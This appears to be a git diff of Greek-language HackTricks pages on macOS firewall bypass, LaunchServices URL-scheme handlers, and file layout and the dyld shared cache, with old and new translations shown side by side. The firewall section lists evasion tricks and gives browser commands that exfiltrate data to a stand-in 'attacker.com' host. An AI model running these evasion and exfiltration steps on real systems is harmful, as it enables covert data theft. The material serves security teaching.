Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Τεχνικές που βρέθηκαν
## Εντοπισμένες τεχνικές
Οι παρακάτω τεχνικές βρέθηκαν να λειτουργούν σε ορισμένες εφαρμογές τείχους προστασίας στο macOS.
Οι παρακάτω τεχνικές βρέθηκαν να λειτουργούν σε μερικές εφαρμογές τοίχων πυρασφάλειας του macOS.
### Κατάχρηση ονομάτων λευκής λίστας
* Για παράδειγμα, να ονομάζεται ο κακόβουλος κώδικας με ονόματα γνωστών διεργασιών του macOS όπως το **`launchd`**&#x20;
* Για παράδειγμα, να ονομάζετε το malware με ονόματα γνωστών διεργασιών του macOS όπως **`launchd`**
### Συνθετικό Κλικ
* Εάν το τείχος προστασίας ζητάει άδεια από τον χρήστη, ο κακόβουλος κώδικας μπορεί να **κάνει κλικ στο "επιτρέπω"**
* Εάν ο τοίχος πυρασφάλειας ζητά άδεια από τον χρήστη, κάντε το malware **να κάνει κλικ στο επιτρέπω**
### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple**
### Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple
* Όπως το **`curl`**, αλλά και άλλα όπως το **`whois`**
### Γνωστοί τομείς της Apple
Το τείχος προστασίας μπορεί να επιτρέπει συνδέσεις σε γνωστούς τομείς της Apple, όπως το **`apple.com`** ή το **`icloud.com`**. Και η iCloud μπορεί να χρησιμοποιηθεί ως C2.
Ο τοίχος πυρασφάλειας μπορεί να επιτρέπει συνδέσεις σε γνωστούς τομείς της Apple όπως το **`apple.com`** ή το **`icloud.com`**. Και το iCloud μπορεί να χρησιμοποιηθεί ως C2.
### Γενική Διάβαση
### Γενική Παράκαμψη
Ορισμένες ιδέες για να προσπαθήσετε να διαβείτε τα τείχη προστασίας
Μερικές ιδέες για να προσπαθήσετε να παρακάμψετε τους τοίχους πυρασφάλειας
### Έλεγχος της επιτρεπόμενης κίνησης
### Έλεγχος επιτρεπόμενης κίνησης
Γνωρίζοντας την επιτρεπόμενη κίνηση, μπορείτε να αναγνωρίσετε δυνητικά τομείς που βρίσκονται στη λευκή λίστα ή ποιες εφαρμογές έχουν άδεια πρόσβασης σε αυτούς.
Γνωρίζοντας την επιτρεπόμενη κίνηση θα σας βοηθήσει να αναγνωρίσετε πιθανώς τους τομείς που βρίσκονται στη λευκή λίστα ή ποιες εφαρμογές έχουν άδεια πρόσβασης σε αυτούς.
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### Κατάχρηση του DNS
### Κατάχρηση DNS
Οι αναλύσεις DNS γίνονται μέσω της εφαρμογής **`mdnsreponder`** που έχει υπογραφή και πιθανότατα θα επιτραπεί να επικοινωνήσει με τους διακομιστές DNS.
Οι αναλύσεις DNS γίνονται μέσω της υπογεγραμμένης εφαρμογής **`mdnsreponder`** που πιθανόν να επιτραπεί να επικοινωνήσει με διακομιστές DNS.
<figure><img src="../../.gitbook/assets/image (1) (1) (6).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Μέσω εφαρμογών περιήγησης
### Μέσω εφαρμογών Περιηγητή
* **oascript**
```applescript
@ -73,13 +74,13 @@ end tell
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
* Περιήγηση Safari
* Safari
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### Μέσω εισαγωγής διεργασιών
### Μέσω ενσωμάτωσης διεργασιών
Εάν μπορείτε να **εισάγετε κώδικα σε μια διεργασία** που επιτρέπεται να συνδεθεί σε οποιονδήποτε διακομιστή, μπορείτε να παρακάμψετε τις προστασίες του τείχους προστασίας:
Εάν μπορείτε **να ενθέτετε κώδικα σε μια διεργασία** που έχει άδεια να συνδεθεί σε οποιονδήποτε διακομιστή, μπορείτε να παρακάμψετε τις προστασίες του τοίχου προστασίας:
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
@ -89,16 +90,17 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# macOS Χειριστές Εφαρμογών Αρχείων & Σχήματος URL
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% endhint %}
## Βάση Δεδομένων LaunchServices
Αυτή είναι μια βάση δεδομένων όλων των εγκατεστημένων εφαρμογών στο macOS που μπορεί να ερευνηθεί για να ληφθούν πληροφορίες για κάθε εγκατεστημένη εφαρμογή, όπως τα σχήματα URL που υποστηρίζει και οι τύποι MIME.
Είναι δυνατόν να αδειάσετε αυτή τη βάση δεδομένων με:
Είναι δυνατόν να αδειάσετε αυτήν τη βάση δεδομένων με:
{% code overflow="wrap" %}
```
@ -28,11 +29,11 @@
Ή χρησιμοποιώντας το εργαλείο [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** είναι το μυαλό της βάσης δεδομένων. Παρέχει **πολλές υπηρεσίες XPC** όπως `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, και άλλες. Αλλά απαιτεί επίσης **κάποιες αδειοδοτήσεις** στις εφαρμογές για να μπορούν να χρησιμοποιήσουν τις εκτεθειμένες λειτουργίες XPC, όπως `.launchservices.changedefaulthandler` ή `.launchservices.changeurlschemehandler` για να αλλάξουν τις προεπιλεγμένες εφαρμογές για τύπους αρχείων ή σχήματα URL και άλλα.
Το **`/usr/libexec/lsd`** είναι το μυαλό της βάσης δεδομένων. Παρέχει **πολλές υπηρεσίες XPC** όπως `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, και άλλες. Αλλά απαιτεί επίσης **κάποιες αδειοδοτήσεις** στις εφαρμογές για να μπορούν να χρησιμοποιήσουν τις εκτεθειμένες λειτουργίες XPC, όπως `.launchservices.changedefaulthandler` ή `.launchservices.changeurlschemehandler` για να αλλάξουν τις προεπιλεγμένες εφαρμογές για τύπους αρχείων ή σχήματα URL και άλλα.
**`/System/Library/CoreServices/launchservicesd`** δηλώνει την υπηρεσία `com.apple.coreservices.launchservicesd` και μπορεί να αναζητηθεί για να λάβει πληροφορίες σχετικά με εκτελούμενες εφαρμογές. Μπορεί να αναζητηθεί με το εργαλείο του συστήματος /**`usr/bin/lsappinfo`** ή με το [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
Το **`/System/Library/CoreServices/launchservicesd`** δηλώνει την υπηρεσία `com.apple.coreservices.launchservicesd` και μπορεί να αναζητηθεί για να λάβετε πληροφορίες σχετικά με εκτελούμενες εφαρμογές. Μπορεί να αναζητηθεί με το εργαλείο συστήματος /**`usr/bin/lsappinfo`** ή με το [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
## Χειριστές εφαρμογών για επέκταση αρχείου και σχήμα URL
## Χειριστές εφαρμογών για επέκταση αρχείου & σχήμα URL
Η παρακάτω γραμμή μπορεί να είναι χρήσιμη για να βρείτε τις εφαρμογές που μπορούν να ανοίξουν αρχεία ανάλογα με την επέκταση:
```bash
@ -79,16 +80,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>xbl</string>
<string>svg</string>
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε τεχνικές χάκινγκ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Αρχεία, Φάκελοι, Δυαδικά & Μνήμη
{% hint style="success" %}
Μάθε & εξάσκησε το Hacking στο AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το Hacking στο GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
</details>
{% endhint %}
## Διάταξη Ιεραρχίας Αρχείων
@ -21,24 +22,24 @@
* **/cores**: Αν υπάρχει, χρησιμοποιείται για την αποθήκευση απορρίμματος πυρήνα
* **/dev**: Όλα θεωρούνται ως αρχεία, οπότε μπορείτε να δείτε συσκευές υλικού που αποθηκεύονται εδώ.
* **/etc**: Αρχεία ρυθμίσεων
* **/Library**: Μπορείτε να βρείτε πολλούς υποφακέλους και αρχεία που σχετίζονται με προτιμήσεις, caches και logs εδώ. Υπάρχει ένας φάκελος Library στο ριζικό φάκελο και σε κάθε φάκελο χρήστη.
* **/private**: Ανεπισήμως, αλλά πολλοί από τους αναφερθέντες φακέλους είναι συμβολικοί σύνδεσμοι στον ιδιωτικό φάκελο.
* **/Library**: Μπορείτε να βρείτε πολλούς υποφακέλους και αρχεία που σχετίζονται με προτιμήσεις, caches και logs εδώ. Ένας φάκελος Library υπάρχει στο ριζικό φάκελο και σε κάθε φάκελο χρήστη.
* **/private**: Ανεπισήμως, αλλά πολλοί από τους αναφερόμενους φακέλους είναι συμβολικοί σύνδεσμοι στον ιδιωτικό φάκελο.
* **/sbin**: Βασικά δυαδικά αρχεία συστήματος (σχετικά με τη διαχείριση)
* **/System**: Αρχείο για τη λειτουργία του OS X. Θα πρέπει να βρείτε κυρίως μόνο αρχεία που αφορούν την Apple εδώ (όχι τρίτων).
* **/tmp**: Τα αρχεία διαγράφονται μετά από 3 ημέρες (είναι μια μαλακή σύνδεση στο /private/tmp)
* **/Users**: Αρχικός φάκελος για τους χρήστες.
* **/usr**: Δυαδικά αρχεία ρυθμίσεων και συστήματος
* **/Users**: Κατάλογος αρχικού φακέλου για τους χρήστες.
* **/usr**: Δυαδικά και δυαδικά συστήματος
* **/var**: Αρχεία καταγραφής
* **/Volumes**: Οι συνδεδεμένοι δίσκοι θα εμφανιστούν εδώ.
* **/.vol**: Εκτελώντας `stat a.txt` λαμβάνετε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου το πρώτο νούμερο είναι ο αριθμός id του όγκου όπου υπάρχει το αρχείο και το δεύτερο είναι ο αριθμός inode. Μπορείτε να έχετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
* **/.vol**: Εκτελώντας `stat a.txt` λαμβάνετε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου το πρώτο νούμερο είναι ο αριθμός id του όγκου όπου υπάρχει το αρχείο και το δεύτερο είναι ο αριθμός inode. Μπορείτε να έχετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω του /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
### Φάκελοι Εφαρμογών
* **Εφαρμογές συστήματος** βρίσκονται υπό το `/System/Applications`
* **Εφαρμογές συστήματος** βρίσκονται στο `/System/Applications`
* **Εγκατεστημένες** εφαρμογές συνήθως εγκαθίστανται στο `/Applications` ή στο `~/Applications`
* **Δεδομένα εφαρμογής** μπορούν να βρεθούν στο `/Library/Application Support` για εφαρμογές που τρέχουν ως ρίζα και στο `~/Library/Application Support` για εφαρμογές που τρέχουν ως χρήστης.
* **Δεδομένα εφαρμογής** μπορούν να βρεθούν στο `/Library/Application Support` για τις εφαρμογές που τρέχουν ως ρίζα και στο `~/Library/Application Support` για εφαρμογές που τρέχουν ως χρήστης.
* Οι **δαίμονες** τρίτων εφαρμογών που **χρειάζονται να τρέχουν ως ρίζα** συνήθως βρίσκονται στο `/Library/PrivilegedHelperTools/`
* **Εφαρμογές με αμμοθάλασσα** αντιστοιχίζονται στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει ένα φάκελο με το όνομα του αναλόγως με το ID δέματος της εφαρμογής (`com.apple.Safari`).
* Οι **εφαρμογές με αμμοθάλασσα** αντιστοιχίζονται στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει ένα φάκελο με το όνομα του αναλόγως με το ID δέματος της εφαρμογής (`com.apple.Safari`).
* Ο **πυρήνας** βρίσκεται στο `/System/Library/Kernels/kernel`
* Οι **επεκτάσεις πυρήνα της Apple** βρίσκονται στο `/System/Library/Extensions`
* Οι **επεκτάσεις πυρήνα τρίτων** αποθηκεύονται στο `/Library/Extensions`
@ -68,28 +69,31 @@
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**: Εφαρμογές Apple που ακολουθούν δομή φακέλου (Είναι ένα δέμα).
* **`.app`**: Εφαρμογές Apple που ακολουθούν δομή καταλόγου (Είναι ένα δέμα).
* **`.dylib`**: Δυναμικές βιβλιοθήκες (όπως τα αρχεία DLL των Windows)
* **`.pkg`**: Είναι ίδια με τα xar (eXtensible Archive format). Η εντολή installer μπορεί να χρησιμοποιηθεί για να εγκαταστήσει τα περιεχόμενα αυτών των αρχείων.
* **`.DS_Store`**: Αυτό το αρχείο υπάρχει σε κάθε φάκελο, αποθηκεύει τα χαρακτηριστικά και τις προσαρμογές του φακέλου.
* **`.Spotlight-V100`**: Αυτός ο φάκελος εμφανίζεται στο ριζικό φάκελο κάθε όγκου στο σύστημα.
* **`.metadata_never_index`**: Αν αυτό το αρχείο βρίσκεται στη ρίζα ενός όγκου, το Spotlight δεν θα ευρετηριάσει αυτόν τον όγκο.
* **`.noindex`**: Τα αρχεία και οι φάκελοι με αυτήν την επέκταση δεν θα ευρετηριαστούν από το Spotlight.
* **`.noindex`**: Τα αρχεία και οι φάκελοι με αυτή την επέκταση δεν θα ευρετηριαστούν από το Spotlight.
* **`.sdef`**: Αρχεία μέσα σε δέματα που καθορίζουν πώς είναι δυνατή η αλληλεπίδραση με την εφαρμογή από ένα AppleScript.
### Δέματα macOS
Ένα δέμα είναι ένα **φάκελος** που **μοιάζει με αντικείμενο στο Finder** (ένα παράδειγμα δέματος είναι τα αρχεία `*.app`).
Ένα δέμα είναι ένα **κατάλογος** που **μοιάζει με αντικείμενο στο Finder** (ένα παράδειγμα δέματος είναι τα αρχεία `*.app`).
{% content-ref url="macos-bundles.md" %}
[macos-bundles.md](macos-bundles.md)
{% endcontent-ref %}
## Δυναμική Κοινή Βιβλιοθήκη Dyld (SLC)
## Κοινόχρηστη Βιβλιοθήκη Cache Dyld (SLC)
Στο macOS (και iOS) όλες οι κοινές βιβλιοθήκες συστήματος, όπως πλαίσια και dylibs, **συνδυάζονται σε ένα μόνο αρχείο**, που ονομάζεται **dyld shared cache**. Αυτό βελτιώνει την απόδοση, αφού ο κώδικας μπορεί να φορτωθεί πιο γρήγορα.
Στο macOS (και iOS) όλες οι κοινόχρηστες βιβλιοθήκες συστήματος, όπως πλαίσια και dylibs, **συνδυάζονται σε ένα μόνο αρχείο**, που ονομάζεται **κοινόχρηστη βιβλιοθήκη dyld**. Αυτό βελτιώνει την απόδοση, αφού ο κώδικας μπορεί να φορτωθεί πιο γρήγορα.
Αυτό βρίσκεται στο macOS στο `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` και σε παλαιότερες εκδόσεις μπορείτε να βρείτε το **
Αυτό βρίσκεται στο macOS στο `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` και σε παλαιότερες εκδόσεις μπορείτε να βρείτε τη **κοινόχρηστη cache** στο **`/System/Library/dyld/`**.\
Στο iOS μπορείτε να τα βρείτε στο **`/System/Library/Caches/com.apple.dyld/`**.
Παρόμοια με την κοινόχρηστη cache dyld, ο πυρήνας και
```bash
# dyld_shared_cache_util
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -102,77 +106,77 @@ dyldex_all [dyld_shared_cache_path] # Extract all
{% endcode %}
{% hint style="success" %}
Σημειώστε ότι ακόμα κι αν το εργαλείο `dyld_shared_cache_util` δεν λειτουργεί, μπορείτε να περάσετε το **shared dyld binary στο Hopper** και το Hopper θα είναι σε θέση να αναγνωρίσει όλες τις βιβλιοθήκες και να σας επιτρέψει να **επιλέξετε ποια θέλετε** να ερευνήσετε:
Σημειώστε ότι ακόμα κι αν το εργαλείο `dyld_shared_cache_util` δεν λειτουργεί, μπορείτε να περάσετε το **κοινό dyld binary στο Hopper** και το Hopper θα είναι σε θέση να αναγνωρίσει όλες τις βιβλιοθήκες και να σας επιτρέψει να **επιλέξετε ποια θέλετε** να ερευνήσετε:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1149).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
Κάποιοι εξαγωγείς δεν λειτουργούν καθώς οι dylibs είναι προ-συνδεδεμένες με σκληρούς κωδικούς διευθύνσεων και επομένως ενδέχεται να πηδούν σε άγνωστες διευθύνσεις
Κάποιοι εξαγωγείς δεν θα λειτουργήσουν καθώς οι dylibs είναι προ-συνδεδεμένες με σκληρούς κωδικούς διευθύνσεων και επομένως ενδέχεται να μεταβαίνουν σε άγνωστες διευθύνσεις
{% hint style="success" %}
